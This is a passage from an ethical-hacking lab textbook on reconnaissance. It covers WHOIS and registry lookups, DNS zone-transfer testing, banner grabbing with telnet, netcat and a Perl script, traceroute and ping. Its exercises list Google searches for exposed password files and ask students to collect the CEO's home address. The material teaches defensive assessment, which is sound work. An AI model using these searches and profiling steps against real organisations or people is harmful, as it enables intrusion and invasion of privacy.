security might not be the top priority. As discussed earlier in this chapter, the
acquired company may be just the target the attacker needs to gain eventual
access to the parent corporation. When examining the 10-Q and 10-K, you will
be looking for entity names that differ from the parent organization. You’ll
want to record this information and have it ready when you start to research
the Internet Assigned Numbers Authority (IANA) and American Registry for
Internet Numbers (ARIN) databases.
For Britain-based companies, you want to examine the Companies House
web page. It is available at www.companieshouse.gov.uk. Their role is to
incorporate and dissolve limited companies, examine and store company
information delivered under the Companies Act and related legislation, and
make this information available to the public. Both the Edgar database and
Companies House are public sites, but others offer much more information for
a fee. Two such sites are
www.hoovers.com — This is a one-stop shop for business information.
www.dnb.com — Dun & Bradstreet is a leading source of information and
insight on businesses.
PAY UP OR ELSE!
Although the use of denial of service (DoS) for fun has been on the decline for
some years, it is still a powerful tool that can be used for extortion. The past
few years have seen a rise in the number of attacks that use the threat of DoS
to request money. The victim is typically contacted and asked for protection
money to prevent the victim from being targeted for DoS. Those who don’t pay
are targeted for attack. As an example, on a trip last year to the Dutch Antilles, I
met the owner of a large online gaming company. During my discussion with
him, I learned that he had been threatened with a massive DoS attack during a
key sporting event if he did not pay a sum of $15,000. He believed that it was
cheaper to pay than to face the reality of being brought under a DoS for an
extended period of time. Another such site, Multibet.com, refused to pay and
found itself under a DoS attack for more than 20 days. When the company paid
the extortion, the DoS attack was lifted. Companies targeted for attacks have
two possible choices: pay up and hope they’re not targeted again or install
protective measures to negate the damage the DoS may cause.
Using Google to Mine Sensitive Information
IN THE LAB
The risk is that your organization may be giving too much information to third
parties and sites such as Monster.com. You can mitigate these risks by reducing
the amount of information that is provided and working with HR and others so
that they are aware of how information should be limited. If job ads are listed
on third-party sites, it is best if they are posted as company-confidential so that
the organization is not revealed. In the lab, you want to check this out by
looking at any third-party sites the target organization is affiliated with. Just as
with earlier discoveries, make note of your findings and be prepared to explain
how this may be a potential risk.
Using Google to Mine Sensitive Information
Even Google offers the attacker the ability to gather sensitive information that
should not be available to outsiders. By using the advanced operators shown
in Table 3-1 in combination with key terms, you can use Google to uncover
many pieces of sensitive information that shouldn’t be revealed.
To see how this works, you could enter the following phrase into Google:
allinurl:tsweb/default.htm
This query searches in a URL for the tsweb/default.htm string. TSWEB is
an optional component of Internet Information Services (IIS), which allows
remote desktop web connectivity. My search found more than 50 sites that had
the tsweb/default folder. This type of information can be used by an attacker
to attempt to gain some type of logical access.
IN THE LAB
The risk here is that Google may be used to gather and display information that
should not be made public. You can mitigate these risks by making sure that no
such leaks are occurring at your organization and that the individuals
responsible for the web server and its content are aware of such problems. In
the lab, you can check for such problems with just a browser and an Internet
connection. The Google Hacking database
(http://johnny.ihackstuff.com/ghdb.php) is the best place to start. Use
this site to search your site for offending material; you may also want to search
some others to provide management with examples of the types of leakages
that occur, their impact, and suggestions on how to address the problem. If you
are doing this from a noncorporate lab, this is a good time to get hands-on
skills so that you can later demonstrate to employers.
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Table 3-1 Google Hacking
OPERATOR
DESCRIPTION
Filetype
This operator directs Google to only search within the text of a
particular type of file. Example: filetype:xls
Inurl
This operator directs Google to only search within the specified
URL of a document. Example: inurl:search-text
Link
The link operator directs Google to search within hyperlinks for a
specific term. Example link:www.domain.com
Intitle
The intitle operator directs Google to search for a term within the
title of a document. Example intitle: "Index of. . ." etc.
Exploring Domain Ownership
The final part of this chapter looks at domain ownership and how to find
who owns a specific domain. This is something that an attacker might want to
establish and something an owner might want to disguise. There is a variety
of ways that someone can identify the IP address and type of web server and
the web server’s location. Let’s begin by the structure of the Internet.
The Internet began back in 1969, and what was then just a small collection
of networks has evolved into the Internet we know today. The Internet Society
governs the Internet. This nonprofit group was established in 1992 to control
the policies and procedures that define how the Internet functions. One of
these control authorities is the Internet Assigned Numbers Authority (IANA).
IANA is responsible for preserving the central coordinating functions of the
global Internet for the public good. IANA also globally manages domain
names and addresses. IANA works closely with the Internet Engineering Task
Force (IETF) on specific Request for Comments (RFCs) and high-level protocols
such as IP.
IANA is one place that can serve as a good starting point to find out more
information about domain ownership. Figure 3-11 shows the IANA home
page. To find out more information about domain ownership, start with the
generic top-level domains link. This is where you can find more WHOIS
information.
IN THE LAB
The risk here is that individuals may obtain names, phone numbers, or other
information about domain ownership that you would rather not provide. You
can mitigate these risks by using a domain registration proxy. This allows you
Exploring Domain Ownership
to mask the true owner’s identity. In the lab, you want to look at your own
organizations’ information to see what is revealed and explore how domain
proxies work. A good place to start is at http://domainsbyproxy.com. Both
sites can provide more information about how this process works.
Figure 3-11 IANA home page.
WHOIS
WHOIS databases are tools that enable you to query the information an organization entered when they registered their domain. WHOIS can typically
be queried by either domain name or by IP. All the information found on
the IANA site is searched by domain address. When reviewing the WHOIS
database in a lab scenario, you should be looking for information exposure.
Internet Corporation for Assigned Names and Numbers (ICANN) regulations
require all domain holders to submit WHOIS information. The information
available includes the registrant, admin, billing, and technical contact information. A non-security-minded person will probably place far too much
information in the WHOIS records, superfluous information that can be used
by a potential attacker. However, on the opposite side of the spectrum, a
security-savvy individual may script a very well-spoofed entry that might
actually mislead or distract an attacker.
Let’s look at what is required to obtain a WHOIS record using IANA as
our starting point. The target of investigation in this example is the SMU.edu
domain:
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1. Begin by proceeding to the top-level domain page at the IANA site. At
this point, you will see a list of the various top-level domains, including
the following:
The .aero domain
The .asia domain
The .biz domain
The .cat domain
The .com domain
The .coop domain
The .info domain
The .jobs domain
The .mobi domain
The .museum domain
The .name domain
The .net domain
The .org domain
The .pro domain
The .tel domain
The .travel domain
The .gov domain
The .edu domain
The .mil domain
The .int domain
Notice that after each domain listing, an entity is identified that accredits or registers organizations that use that particular domain extension.
For example, the .edu domains are registered through Educause.
2. Proceed to Educause.edu and click on their WHOIS link. Figure 3-12
shows the returned page.
3. Now enter SMU.edu and press Enter. What’s returned should look similar to what is shown in Figure 3-13. From the data returned, notice that
the first field is about the registrant. In this example, you can see it is
Southern Methodist University. The second field is the administrative
contact. The administrative contact for this domain is Bruce Meikle.
The fourth field is the technical contact; here again, you can see Bruce
Meikle’s name. Typically, it’s a good idea to place a title in both of those
Exploring Domain Ownership
Figure 3-12 IANA Top Level Domains.
Figure 3-13 IANA Domain Details.
contact-name fields and not use a real name. Remember that attackers are
looking for information to exploit.
N O T E As long as you have even one human in your organization, your
organization is at risk of social engineering information-gathering attempts.
Because it’s impossible to completely eliminate this threat, you want to limit to
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the fullest extent possible the availability of sensitive information that a social
engineer might exploit to your eventual grief.
Although some of this information might not seem especially useful, consider its value to a social engineer. Names can be used for social engineering.
Email addresses can be used for spoofing, as can the discovery of any naming
scheme. Even phone numbers can be useful to identify possible ranges for
wardialing. The final field contains DNS information. In this example, you can
see the domain name and IP address for several of SMU’s DNS servers. Make
sure to review your own organization’s DNS records and adjust accordingly.
Regional Internet Registries
IANA offered a good starting point for investigating domain names. But what
if we need information about an IP address or just want to delve deeper than
what was found in the WHOIS database? Actually, there is somewhere else to
look and that is the Regional Internet Registries (RIRs). The RIRs are tasked with
overseeing the regional distribution of IP addresses within a geographical
region of the world. The five RIRs are as follows:
American Registry for Internet Numbers (ARIN) — North America
RIPE Network Coordination Centre (RIPE NCC) — Europe, the Middle
East, and Central Asia
Asia-Pacific Network Information Centre (APNIC) — Asia and the
Pacific region
Latin American and Caribbean Internet Address Registry
(LACNIC) — Latin America and the Caribbean region
African Network Information Centre (AfriNIC) — Africa
These regional registries are responsible for further subdelegating their IP
addresses to ISPs and end users. As an example, let’s take a look at the ARIN
web site and enter the address of another university; in this example I will use
128.6.3.3. Figure 3-14 shows the results.
Notice that the entire 128.6.0.0 network is owned by Rutgers.edu. You can
see this in the listing and by the notation of the /16 subnet mask. This means
that the network has over 65,000 addresses.
Keep in mind that this is just one way to uncover initial domain information.
Many web-based tools are available to help uncover domain information. These
services provide WHOIS, DNS information, and network queries:
Sam Spade — www.samspade.org
Geektools — www.geektools.com
Exploring Domain Ownership
Figure 3-14 ARIN WHOIS results.
Better-Whois.com — www.betterwhois.com
DSHIELD — www.dshield.org
Another nice tool that enables you to gather a lot of this information directly
from a Firefox browser is showIP. With one click of a mouse, it will give you
just about all the WHOIS information you need. It is available at https://
addons.mozilla.org/en-US/firefox/addon/590?id=590.
IN THE LAB
You will want to reduce what is provided in WHOIS results. For example, if a
domain proxy is not something that you can get implemented, you can mitigate
these risks by setting up generic titles, phone numbers, and nondescript email
addresses that are used only with WHOIS. This will make it very apparent when
someone starts using these email accounts or names. In your lab, you can use
IP address information and web sites such as DSHIELD to actually implement
better security controls. Go to www.dshield.org/top10.html and look at the
information provided. You will see a listing of the top 10 scanned ports and
also the top 10 offenders. These are IP addresses that are associated with
attacks. You can then configure your routers to block traffic from these
addresses or work with the firewall administrator to make sure that offending
IPs are blocked from access to your organization. This is one why to start
blocking known bad IP addresses.
Domain Name Server
Domain name server is used as a type of phonebook in that it resolves known
domain names to unknown IP addresses. DNS is structured as a hierarchy
so that when you request DNS information, your request is passed up the
hierarchy until a DNS server is found that can resolve the domain name
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Where is
www.thesolutionfirm.com?
DNS
root server
200.10.5.3
Try
200.20.50.90
1
2
.com
name server
200.20.50.90
Try
190.12.13.19
DNS
Service
4
3
www.thesolutionfirm
name server
190.12.13.19
Figure 3-15 DNS resolution.
request. You can get a better idea of how DNS is structured by examining
Figure 3-15.
As Figure 3-15 illustrates, root DNS servers are essential to the operation of
the Internet. There is a total of 13 DNS root servers. This is about as many as
there could possibly be (although, actually, 15 would be the maximum, when
you take into consideration the size of a DNS packet and the size of an IP
address). Most of the root servers are located in the United States, but several
are in Europe, and one is in Japan. Figure 3-16 shows the structure of the root
servers.
Another part of DNS has to do with caching of the DNS records themselves.
To take a look at the DNS cache on your home computer, simply type in the
following at a DOS prompt:
ipconfig /displaydns
Root
ORG
GOV
NASA
EDU
MIL
NOAA
NSF
Figure 3-16 DNS root structure.
COM
DEC
NET
IBM
HP
Exploring Domain Ownership
No one server contains all the information. It is distributed among the
servers that define the DNS root structure. If the computer you are using
queries DNS information, that information is sent as a record and stored on
the local computer. This allows the local computer to check its cache and use
that information if available. You can see this cache yourself by typing ipconfig
/displaydns at the command line, as shown here:
C:\>ipconfig /displaydns
ns1.ral.hostedsolutions.com.
-----------------------------------------------------Record Name . . . . . : ns1.ral.hostedsolutions.com
Record Type . . . . . : 1
Time To Live . . . . : 82252
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . :
ns2.msft.net.
-----------------------------------------------------Record Name . . . . . : ns2.msft.net
Record Type . . . . . : 1
Time To Live . . . . : 84403
Data Length . . . . . : 4
Section . . . . . . . : Answer
A (Host) Record . . . :
65.54.240.126
The records displayed above contain information such as record name,
record type, TTL value of the cached DNS record as measured in seconds,
data length, section, and, lastly, the record type. Table 3-2 lists some common
DNS record names and types. If you would like to learn more about DNS root
servers, go to http://root-servers.org.
Table 3-2 DNS Record Types
RECORD NAME
RECORD TYPE
PURPOSE
Host
A
Maps a domain name to an IP address
Pointer
PTR
Maps an IP address to a domain name
Name Server
NS
Configures settings for zone transfers and
record caching
Start of Authority
SOA
Configures settings for zone transfers and
record caching
Service Locator
SRV
Used to locate services in the network
Mail
MX
Used to identify SMTP servers
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Now that we have reviewed some DNS basics, let’s turn our attention
to how DNS can be used to gather information. The easiest tool to use to
query DNS servers is nslookup. Nslookup provides machine name and address
information. Both Linux and Windows have nslookup clients. You can access
nslookup from the command line of a Linux or Windows computer by typing
nslookup. Just enter an IP address or a domain name. Doing so will cause
nslookup to return the name, all known IP addresses, and all known CNAMES
for the identified machine. An example is shown here:
C:\>nslookup www.hackthestack.com
Server: dnsr1.sbcglobal.net
Address: 123.91.121.1
Non-authoritative answer:
Name:
www.hackthestack.com
Address: 202.131.95.30
Record this type of information; you can use it later when using additional
tools.
IN THE LAB
The risk here is that DNS servers have been misconfigured. You can mitigate
these risks by making sure that your organization’s DNS servers are properly
configured. You can explore this vulnerability in the lab by configuring a
Microsoft server to be a DNS server. During configuration, set up the server to
accept requests from any server. Remember that this is an incorrect setting, as
it will let anyone query the DNS server. From a second system open a command
prompt and type the following:
nslookup
server <ipaddress>
set type=any
ls -d target.com
Replace ipaddress with the IP address of the misconfigured DNS server, and
replace Target.com with the correct domain name of the organization. You
should see all DNS zone records listed.
Now remove the ‘‘everyone’’ entry from the Microsoft DNS server, and try the
same technique again. This time you should see that it fails. Before testing this
on a live site, make sure that you have the owner’s permission. After all, the
point of the lab is to have a safe environment to test such techniques. You will
want to verify that you return your lab computers to their proper settings after
exploration.
Exploring Domain Ownership
Identifying Web Server Software
Now that IP addresses, domain names, and domain ownership have been
determined, you next want to turn your attention to identifying what software the web server is running. Common web server software includes the
following:
Apache Web Server
IIS Server
Sun One Web Server
One great tool that requires no install is Netcraft, from www.netcraft.com.
Netcraft runs a great service that is called What’s That Site Running? It’s
great for gathering details about web servers. Figure 3-17 shows Netcraft.
Remember that this type of tool is basically grabbing the banner of a web site.
Each service contains banner information that typically details the version and
type of service being used.
So, what about those times when you do not want to use a web server directly
to gather these types of results? In this case, you could use the following Perl
script to accomplish just about the same results:
#!/usr/bin/perl
#
# If the returned data from Netcraft changes in format, then the
# regex must be updated accordingly
#
# File: netcraft.pl
use LWP::UserAgent;
$ua = new LWP::UserAgent;
($ua->proxy(’http’, "http://".$ARGV[1])) if ($ARGV[1]);
Figure 3-17 Netcraft.
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#change this as you see fit :)
$ua->agent("Mozilla/4.07 [en] (WinNT;I)");
my $req = new HTTP::Request GET =>
"http://uptime.netcraft.com/up/graph?site=$ARGV[0]";
my $res = $ua->request($req);
if ($res->is success) {
$all content = $res->content;
$all content =~ m/running ([^<]*)/;
$first = $1;
$first =~ s/\s+/ /g;
print $first,"\n";
} else {
print $res->as string(),"\n";
}.
This script offers a non-browser-based alternative to gathering this type
of information and makes it easier to import it into a report so that extraneous HTML is stripped out. You can get a copy of this script from
http://issey.aharen.net/2007/01/19/os-fingerprinting. Although not as
passive as Netcraft, another banner-grabbing method is to just use the Telnet
client built into most modern systems. Just Telnet to the web site and observe
the results. An example is shown here:
C:\>telnet www.wiley.com 80
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Mon, 21 Jan 2008 06:08:17 GMT
Content-Type: text/html
Content-Length: 87
<html><head><title>Error</title></head><body>The parameter is
incorrect. </body>
</html>
Connection to host lost.
There are other advanced ways to attempt to identify web servers by using
tools like Netcat. Netcat is discussed in more detail in later chapters.
IN THE LAB
The risk from banner grabbing and web site fingerprinting sites is that they
provide anyone with information about what type of web server the targeted
organization is running. You can mitigate these risks by changing banners or
using tools that suppress such information. You can test this technique in the
lab with a Microsoft system that is running IIS. You will want to download
serverheader.exe from http://support.microsoft.com/kb/294735.
Exploring Domain Ownership
This tool will let you change the banner of the web server to another value.
Before changing it, use the Telnet technique (described previously in this
section) to capture the banner. After running serverheader.exe, use Telnet to
again capture the banner. Notice how it is now changed. This is one technique
to slow attackers and make it harder for them to know which service is running.
Web Server Location
One final piece of information that would be nice to ascertain is the location
of the web server. Is it located at the organization’s facility, is it located at a
server farm, or is it just a virtual system hosted by a third party? The best
way to determine this information is to note what was discovered previously
in this chapter and tie that together with a traceroute command. traceroute
determines the path to a domain by incrementing the TTL field of the IP
header. When the TTL falls to zero, an Internet Control Message Protocol
(ICMP) 0 message is generated. These ICMP messages identify each particular
hop on the path to the destination. An example traceroute is shown here:
C:\>tracert www.wiley.com
Tracing route to www.wiley.com [64.143.198.41] over a maximum of 30 hops:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Trace
<10 ms
<10 ms
<10 ms
<10 ms
10 ms
<10 ms
<10 ms
10 ms
10 ms
10 ms
10 ms
10 ms
10 ms
10 ms
20 ms
10 ms
10 ms
10 ms
20 ms
10 ms
10 ms
10 ms
40 ms
40 ms
30 ms
30 ms
30 ms
30 ms
30 ms
40 ms
complete.
10 ms PROXY [172.20.1.1]
66-162-219-65.gen.twtelecom.net [66.162.219.65]
209.163.157.165
core-dlfw.twtelecom.net [66.192.246.77]
tran-dlfw.twtelecom.net [168.215.54.74]
sl-gw40-fw-4-2.sprintlink.net [160.81.227.105]
sl-bb22-fw-4-3.sprintlink.net [144.232.8.249]
144.232.19.214
dal-core-01.inet.qwest.net [205.171.25.45]
iah-core-02.inet.qwest.net [205.171.8.126]
iah-core-01.inet.qwest.net [205.171.31.1]
tpa-core-02.inet.qwest.net [205.171.5.105]
cntr-02.tpf.qwest.net [205.171.27.78]
ms msfc-02.tpf.qwest.net [63.146.176.26]
ms www.wiley.com [63.146.189.41]
Several good GUI-based traceroute tools are available. These tools draw a
visual map that displays the path and destination:
NeoTrace — A good GUI traceroute program that maps the path and
destination.
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VisualRoute — Another good GUI tool that maps the path and
destination.
Hping — Another tool that can be used to trace routes behind a firewall. Hping transmits TCP packets to a port on a destination host and
observes the results. Hping evaluates returned packets and tracks
accepted, rejected, and dropped packets. Using successive probes, Hping
can determine if a port is open, if a firewall is present, and if packets are
passed through the firewall.
Some useful links to learn more about traceroute include the following:
www.visualroute.com
www.traceroute.org
IN THE LAB
Site location and identification is a risk in that the attacker now knows the
location of the server or service. This is something that is hard to completely
prevent. To mitigate these risks, you can configure routers and firewalls to
provide as little information as possible. In the lab, download a demo version
of Neotrace from www.softpedia.com/get/Network-Tools/TracerouteWhois-Tools/McAfee-NeoTrace-Professional.shtml. After installing it,
you can use the tool to trace not only your own organization but others to
determine how these tools work and what information they really provide. The
exercise at the end of the chapter can give you more guidance. Once you have
experimented with a GUI tool like Neotrace, you might also want to try several
of the traceroute programs built in to BackTrack.
Summary
Whereas subsequent chapters require more advanced software, this chapter
looked at what is possible with little more than an Internet connection and
a browser. The idea was to drive home the point that security is not just
about firewalls and intrusion detection. Much of security is about information
protection and control.
Part of building your own security lab is understanding how information
leakage can have disastrous results for an organization. Consider the power
an attacker has when he has identified the type of web server an organization
has. Consider further the negative potential of an attacker knowing which
types of technologies a company uses (perhaps gleaned just from reviewing
the organization’s job ads). Even the names, home phone numbers, and
addresses of an organization’s employees can represent potential security
holes. That’s why before you ever configure your first IDS or scan a network
Key Terms
with a vulnerability-analysis tool, you must consider the topics that have been
presented in this chapter.
Key Terms
Basic encryption — A simple XOR encoding system.
Cookies — A technology developed to deal with the fact that HTTP is
stateless. This makes possible shopping carts, car reservations, and other
state-based transactions.
Domain name server — A hierarchy of Internet servers that translate
alphanumeric domain names into IP addresses and vice versa.
Dumpster diving — The act of digging through the trash to recover sensitive information.
Edgar database — Maintains a listing of publicly traded U.S. firms.
Forms-based authentication — A means of authentication that utilizes
cookies to cache usernames and passwords so that users can move from
on web page to another without having to reauthenticate themselves.
Google hacking — The process of using Google to look for unsecure
web pages or other incorrectly posted information.
Hidden field — A form field that is invisible to a web site visitor yet can
be viewed in the HTML code of the web site.
Internet Assigned Numbers Authority — Authorized to perform coordinating functions of the global Internet.
Message digest authentication — A cryptographic hashing function
that works by sending the hash of the original value combined with a
nonce value.
Regional Internet Registries — RIRs are regional organizations that are
responsible for overseeing the registration and administration of IPv4
and IPv6 addresses.
Site rippers — Software programs that allow the copying of an entire
web site for later offsite viewing.
Social engineering — The practice of tricking employees into revealing sensitive data about their computer systems or infrastructures. This
type of attack targets people and is the art of human manipulation. Even
when systems are physically well protected, social-engineering attacks
are possible.
Source code — When discussing web pages, the source code is the comments, tags, instructions, and text used to define the web page.
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Traceroute — A program used to identify the path taken by IP packets
between source and destination.
WHOIS — An Internet utility that returns registration information about
the domain name and IP address.
Wardialing — The process of using a software program to automatically call thousands of telephone numbers to look for anyone who has a
modem attached.
Wardriving — The process of driving around a neighborhood or area to
identify wireless access points.
Exercises
This section presents several hands-on exercises to help reinforce your knowledge and understanding of this chapter. The author selected the tools and
utilities used in these exercises because they are easily obtainable. Our goal is
to provide you with real hands-on experience.
IP Address and Domain Identification
1. You are part of a team that has been assigned to a client company. You
have been asked to perform an analysis of the gigabytes of log entries
that have been gathered by the client organization. You have been asked
to seek out a perpetrator’s whereabouts.
2. Each log entry provides only a small piece of information (e.g., an IP
address, an FQDN). You must use your extensive knowledge of DNS,
RIRs, and other tools to fill in the rest.
3. Complete Table 3-3. Note that answers will vary.
Table 3-3 Domain Name and IP Address Lookup
IP ADDRESS
FQDN
129.119.70.169
162.21.1.112
www.dj.com.ve
70.86.89.34
www.hackthestack.com
211.64.175.201
POINT OF
CONTACT
LOCATION
Exercises
Information Gathering
1. You have been asked to gather information about the target company
your firm is performing an ethical hack for. Your goal is to gather open
source information that can be found about the organization. Your only
tool for this task is the Internet.
2. Use Table 3-4 to fill in some of the types of information you should seek
to acquire. Items to consider include the following:
Perform a WHOIS and ARIN lookup using web sites and different
tools on the target company and capture all information that could be
used by an attacker.
Do an Edgar search on your company to see whether there is any interesting information listed about mergers, splits, parent companies, and
so on.
Find all web sites that link back to the company’s web site.
View the company’s web site.
Do engine searches and see whether there are any ‘‘interesting’’ words
associated with the company’s web sites.
Table 3-4 Information Gathering
ITEM
Domain name
Address and phone number of corporate
headquarters
Location of Internet presence
Co-location or branches
Types of technology used
Name of CEO or senior management
Home address of CEO
Background of CEO
CEO alma mater
Job listing
Other information
Other information
Other information
DESCRIPTION AND FINDINGS
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Find out what technologies the web site is using on its web server.
See whether the company is revealing other technologies it is using for
its web server.
Prepare some information to take back to your company pertaining to
the information the company is providing the public.
N O T E For this exercise, you can use your own organization or one you
would like to learn more about.
Some of the tools that you can use to help you footprint include but are
not limited to the following:
www.betterwhois.com
www.geektools.com
www.internalmemos.com
www.zoominfo.com
www.zabasearch.com
www.geektools.com
http://earth.google.com
www.anywho.com
www.urapi.com
www.publicdata.com
www.netronline.com
www.iana.net
www.arin.net
www.samspade.org
What can you conclude about the amount of information found about the
target organization?
Google Hacking
Google is a very popular search engine. Although it is designed to provide
basic information, it can also sometimes provide too much information. In
this task, you are given the opportunity to practice some Google hacking
techniques.
1. Go to www.google.com, and type in the commands shown here. You may
be surprised what these searches return. As an example, the
allinurl command is used to search for a particular string present in
the URL:
Exercises
inurl:passlist.txt
intitle:index.of.etc
intitle:"Index of" passwd passwd.bak
intitle:"Index of" ".htpasswd" "htgroup" intitle:"dist" -apache -htpasswd.c
intitle:index.of "Apache" "server at"
intitle:index.of ws ftp.ini
inurl:index.of.password
inurl:index.of.password
inurl:changepassword.cgi -cvs
"Network Vulnerability Assessment Report"
"not for distribution" confidential
"Thank you for your order" +receipt
What types of interesting information did you find?
Banner Grabbing
This exercise tests your skills at grabbing banners. The first half of the exercise
will have you grab a banner with Telnet. The second half will demonstrate
how to perform the task with Netcat.
Telnet
1. Find a web site you would like to grab the web server banner from. (For
this example, I use www.apache.org.)
2. Type the following:
telnet www.apache.org 80
<enter>
<enter>
<CTRL C>
3. Observe the returned results. The response from my example is
Apache/2.3.0-dev (Unix) Server.
4. Now compare the results to Netcraft, as shown in Figure 3-18. Are your
results the same? Why might the results not be the same?
Figure 3-18 Netcraft-Identified Web Server Banner.
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Netcat
Another way of banner grabbing is to use the tool Netcat. This versatile tool
is sometimes called the Swiss army knife of hacking tools because it can be
used in many different ways. In this example, you will be using Netcat to grab
banners.
1. Download Netcat from http://netcat.sourceforge.net.
2. After downloading Netcat, place it in the root folder or in a folder you
can easily access.
3. Now create a text file called head.txt with the following text:
GET HEAD / 1.0
CR
CR
4. Once the file has been created and saved, run Netcat with the following
parameters:
nc -vv webserver 80 < head.txt
5. Observe the results:
HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Tue, 29 Nov 2005 04:12:01 GMT
Content-Type: text/html
Content-Length: 91
<html><head><title>Error</title></head><body>The parameter is
incorrect. </body>
</html>
Connection to host lost.
Figure 3-19 VisualRoute.
Exercises
VisualRoute
This final exercise will give you some experience at loading and running a
visual traceroute program. The exercise will be using VisualRoute, available
from www.visualroute.com.
1. Download the program and accept the default install options.
2. Once it is installed, run the program and enter a web site to trace. As an
example, I entered www.google.com.
3. Observe the results, as shown in Figure 3-19.
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Detecting Live Systems
This chapter examines the tools, techniques, and methods used for detecting
live systems. Port scanning is one the most widely used methods of service
and system identification. Just consider the fact that before a system can be
attacked, it must be identified. As an example, an attacker may have an exploit
that works against a Microsoft IIS server. Targeting an Apache server would be
useless. So, the attacker must first identify that the targeted computer actually
is running IIS. To make our analysis more true to life, we should assume that
exploit may only work against IIS v5. If this is the case, knowing that a system
is running Microsoft software may still not be enough. The attacker needs to
know that the service is specifically IIS v5. This is where the power of port
scanning comes in. Port scanning can not only identify ports but, depending
on the tool that is used, also provide information about the possible service
running on that open port.
While you will want to have port-scanning tools in your security lab, you
also must understand how the tools work. In case port scanning doesn’t
work, you should also know of other tools and techniques used to analyze
network devices and determine what services are open. These techniques
include wardialing and wardriving.
Detecting Active Systems
Detecting active systems can involve more than just port scanning. Alternative
techniques include wardialing, wardriving, and using Internet Control Message Protocol (ICMP). Wardialing was discussed in some detail in Chapter 3,
‘‘Passive Information Gathering’’ so let’s start our conversation here with
wardriving.
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Wardriving
Wardriving is, in many ways, an updated form of wardialing. Wardialing
is the act of driving around looking for open wireless access points. Besides
wardialing, there can be war walking, war flying, and so on. The usual result of
wardriving is to find and identify wireless access points. If you are employed
by an organization, the goal may be to identify the signal strength of approved
access points and pinpoint rogue access points. Even if the organization
has secured its wireless access points, there is always the possibility that
employees have installed their own access points without the company’s
permission. Unsecured wireless access points can be a danger to organizations
because, much like the modems of yesteryear, they offer an attacker a potential
entryway onto the network. Most modern networks should have a variety of
controls, including the following:
Firewalls — A type of network security barrier that is typically used to
shield an organization’s users and assets from specific types of traffic.
VPNs — VPNs (virtual private networks) provide a secure channel
of communications over a public network such as the Internet.
IDS — Intrusion detection systems provide a detective type of control
of intrusion. An IDS can be designed to filter on anomalies or on specific
patterns.
Encryption — The enciphering of clear text to prevent unauthorized
eavesdropping of information to be transmitted or in storage.
Although most networks have firewalls, VPNs, IDSs, encryption, and more,
all these controls can be negated by the simple act of an unknowing user
installing a single wireless access point.
It’s not that wireless access points don’t have the ability to implement security, it’s just that the user may not implement security or may implement
only weak security. One early wireless security measure for 802.11 networks
was Wired Equivalent Privacy (WEP). The problem was that a flaw in the
specification was discovered that allowed attackers to derive the secret key
used to protect traffic. While updates were made, it did take some time.
Eventually, Wi-Fi Protected Access (WPA) was created to address issues with
WEP. Other security mechanisms are being developed or have been deployed
for various wireless protocols. I’ll cover these more in Chapter 9, ‘‘Securing
Wireless Systems.’’
Individuals wishing to discover wireless networks and measure their effective strength against intrusion can use a host of security tools released for
Windows and Linux. The value of these tools to you is that they offer a way
to find and identify systems. Attackers must identify that a system is live and
online before any type of attack is carried out.
Now, let’s turn our attention to a more basic method that can be used to determine whether a system is active. This is the process of using and ICMP ping.
Detecting Active Systems
ICMP (Ping)
ICMP is short for Internet Control Message Protocol. ICMP is part of the
Department of Defense (DoD) TCP/IP protocol suite. It is defined in RFC 792.
RFCs are Requests for Comments. An RFC can be thought of as a series of
notes that define how a specific protocol or application functions. These are
managed by the Internet Engineering Task Force (IETF). You can access an
index of all RFCs at www.ietf.org/rfc.html. ICMP was designed to aid in
network diagnostics and to send error messages. Let’s spend a little some time
discussing how ICMP works and what it was designed to do.
ICMP gives TCP/IP a way to handle errors. Any network device that is
using TCP/IP has the capability to send, receive, or process ICMP messages.
For ICMP to work efficiently in a networked environment, some rules of
operation must govern how ICMP works. As an example, to make sure that
ICMP messages won’t flood the network, they are given no special priority.
ICMP messages are treated as normal traffic. Some devices might even see
them as interruptions, so they can be lost or discarded. In addition, ICMP
messages cannot be sent in response to other ICMP messages. This is another
good design concept because otherwise you could have the situation where
one error message creates another, and another, and another. Even if traffic
is fragmented, ICMP messages are only sent for errors on the first fragment.
ICMP messages cannot be sent in response to multicast or broadcast traffic,
nor can they be sent for traffic that is from an invalid address. By invalid, I
mean zero, loopback, or multicast.
As mentioned earlier, the most common type of ICMP message is the ping.
Ping is a type of ICMP message that was designed to verify connectivity.
Table 4-1 shows some other basic types of ICMP messages.
Table 4-1 ICMP Common Types and Codes
TYPE
CODE
FUNCTION
0/8
N/A
Echo request/response
3
0-15
Destination unreachable
4
0
Source quench
5
0-3
Redirect
11
0-1
Time exceeded
12
0
Parameter fault
13/14
0
Time stamp request/response
17/18
0
Subnet mask request/response
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Ping is found on just about every system running TCP/IP. While Ping is a
basic connectivity tool it is useful at identifying active machines. Ping works
by sending an echo request to a system and waiting for the target to send an
echo reply back. An example of this is as follows:
C:\>ping 192.168.1.254
Pinging 192.168.1.254 with 32 bytes of data:
Reply
Reply
Reply
Reply
from
from
from
from
192.168.1.254:
192.168.1.254:
192.168.1.254:
192.168.1.254:
bytes=32
bytes=32
bytes=32
bytes=32
time<10ms
time<10ms
time<10ms
time<10ms
TTL=64
TTL=64
TTL=64
TTL=64
Ping statistics for 192.168.1.254:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
If the target device is unreachable, a request timeout is returned. You can
see an example of this here where I pinged a firewalled host at 192.168.1.250:
C:\>ping 192.168.1.250
Pinging 192.168.1.250 with 32 bytes of data:
Request
Request
Request
Request
timed
timed
timed
timed
out.
out.
out.
out.
Ping statistics for 192.168.1.250:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms
Therefore, what we can see is that ping is a useful tool to identify active
machines and to measure the speed at which packets are moved from one host
to another when the service is not blocked or filtered.
N O T E What’s in a ping packet? The contents of a ping packet vary. If you were to
use a sniffer to examine the contents of a ping packet from a Windows computer,
you would notice that the data in the ping packet is composed of the alphabet,
which is unlike a Linux ping, which would contain numeric values. This is because
the RFC that governs ping doesn’t specify what’s carried in the packet as payload.
Vendors fill in this padding as they see fit.
Detecting Active Systems
Figure 4-1 Angry IP Scanner configuration.
To ping a large number of hosts, a ping sweep is usually performed.
